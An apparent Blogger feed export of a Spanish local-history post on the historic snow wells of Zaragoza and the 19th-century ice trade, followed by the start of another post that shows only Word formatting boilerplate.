&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;u&gt;Paseo Damas y camino de las Torres&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;“Construido por &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;de
Ramón Mas en su huerta”.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;u&gt;Camino de Casablanca&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Estaba en una finca
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“de la casa de Jimeno, hoy propiedad de
don Jorge Jordana”&lt;/i&gt;.&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;u&gt;Carretera de Madrid&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;“el más importante de todos, por su capacidad y balsas ad
hoc, para formarse el hielo en las invernadas el de la carretera de Madrid, junto
al puente sobre el Canal Imperial, hecho por don Vicente Burguete y &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;don Joaquín Mayral”&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Cartuja Alta y Cartuja Baja&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Ambas tenían
neveros y estaban situadas a varios kilómetros de la ciudad.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Recoge y cuenta también
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Gracia Albacar&lt;/b&gt; la abundancia de horchaterías
existentes en la Zaragoza del s. XIX, principales consumidores del hielo en
verano. Eran éstas establecimientos generalmente muy sencillos regentados por
valencianos que, vestidos con sus trajes típicos, fabricaban a la vista del
público horchata y helados que los zaragozanos, sentados en rústicas mesas de
madera, consumían con placer en los días
calurosos.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;También había
horchateros que recorrían la ciudad cargando su garrapiñera&lt;sup&gt;3&lt;/sup&gt; a la
espalda, vasos y un cazo apuntado, ofreciendo a grandes voces a los transeúntes
helado, horchata, limonada o escorzonera&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/b&gt;.
Había otros que vendían sólo agua helada, éstos recibían el nombre de &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;agualojeros&lt;/i&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;La proliferación de
los cafés en Zaragoza en la segunda mitad del s. XIX aumentó considerablemente
la demanda del hielo, por lo que si el invierno había sido benigno, con nieves
escasas, la recogida en los neveros de la ciudad era insuficiente para
suministrar el hielo demandado en verano; entonces se traía de los neveros de
los neveros próximos a la ciudad, como La Muela, Fuendetodos, Mediana, Azuara…
a veces del Moncayo, e incluso, en circunstancias extremas, del mismísimo
Pirineo. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Según relata Gracia
Albacar, esto ocurrió cuando fue inaugurado el gran café Ambos Mundos el 2 de
octubre de 1881. En esas fechas la nieve de la ciudad y alrededores ya se había
agotado y el novedoso café y la proximidad de las fiestas del Pilar hacían
prever un alto consumo de helados y bebidas frías, por lo que no les quedó otro
remedio que traerla del Pirineo.&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;Según
cuenta este autor, desde Coll de Ladrones&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/b&gt;
la bajaron en caballerías hasta la carretera y desde ahí en carretas la
transportaron hasta el paseo de Independencia en Zaragoza, ¡Toda una hazaña!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;La llegada de la
industria puso fin a estos todos estos usos y costumbres, la primera fábrica de
hielo de Zaragoza &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“ fue instalada por don
Narciso Archanco en 1878”&lt;/i&gt;, a partir de esa fecha, poco a poco, se fue
abandonando el milenario comercio de la nieve.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;¡ Los tiempos
habían cambiado!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: normal; margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: normal;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-style: italic; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Rosa M. Germán&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;_______________________________&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid windowtext 1.5pt; border: none; mso-element: para-border-div; padding: 0cm 0cm 1pt;&quot;&gt;
&lt;div style=&quot;border-image: none; border: medium; margin: 0px; padding: 0cm; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin: 0px 0px 0px 18.93px; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 9pt; margin: 0px;&quot;&gt;1.- &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;Situado en el municipio de Fuendetodos (Zaragoza),
&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;fue construido en el s. XVII y es el
único que permanece entero. Fue rehabilitado hace unos años y en la actualidad
se puede visitar y cuenta con paneles informativos. Se le denomina popularmente
como “Culroya”&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px 0px 0px 18.93px; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 9pt; margin: 0px;&quot;&gt;2.- Mariano Gracia Albacar
(1847-1909) es el autor de &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Memorias de un
zaragozano&lt;/i&gt;, obra que recoge sus artículos publicados en &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Heraldo de Aragón&lt;/i&gt; entre los años 1905 y
1907. Es una gran fuente para conocer la vida cotidiana de la Zaragoza de la
segunda mitad del s. XIX.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 9pt; margin: 0px;&quot;&gt;3.-&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;Utensilio utilizado para
fabricar helados. Los vendedores callejeros transportaban en ellos los helados
y bebidas frías.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px 0px 0px 18.93px; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 9pt; margin: 0px;&quot;&gt;4.-&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;La escorzonera, también conocida como salsifí,
era una popular bebida refrescante fabricada con la planta &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Scorzonera hispanica&lt;/i&gt;, de la familia de las asteráceas, nativa del
centro y sur de Europa. Se sirvió en algunos cafés o cervecerías hasta mediados
del s. XX, nuestro padre nos hablaba de ella.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px 0px 0px 18.93px; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 9pt; margin: 0px;&quot;&gt;5.-&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;El fuerte de Coll de Ladrones está situado en una zona escarpada del
valle de Canfranc en los Pirineos Centrales ( Huesca), lugar fronterizo entre
España &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;Francia, comunicadas a través del
puerto de montaña del Somport.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/5172164702336646299/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/09/sabias-que.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/5172164702336646299'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/5172164702336646299'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/09/sabias-que.html' title='Los neveros de Zaragoza'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG725VLReSPNOpq7jREvpNIqqEjtFWClydFMmjPZEo8Fn61F6PneAhD06Ehj2Bnkrx7mDHd92KAj99lhlmWbFpbOe1O5v-v-USKwNHljjZSIaWuiAtIgA9NeezGnjcReweZ_JUKqeg8oeS/s72-c/IMG-20190913-WA0000.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-584545625727734551</id><published>2019-08-04T12:16:00.002+02:00</published><updated>2020-11-07T19:42:06.053+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="BATALLAS"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="HISTORIA"/><title type='text'>La calle Cuatro de Agosto en Zaragoza</title><content type='html'>&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
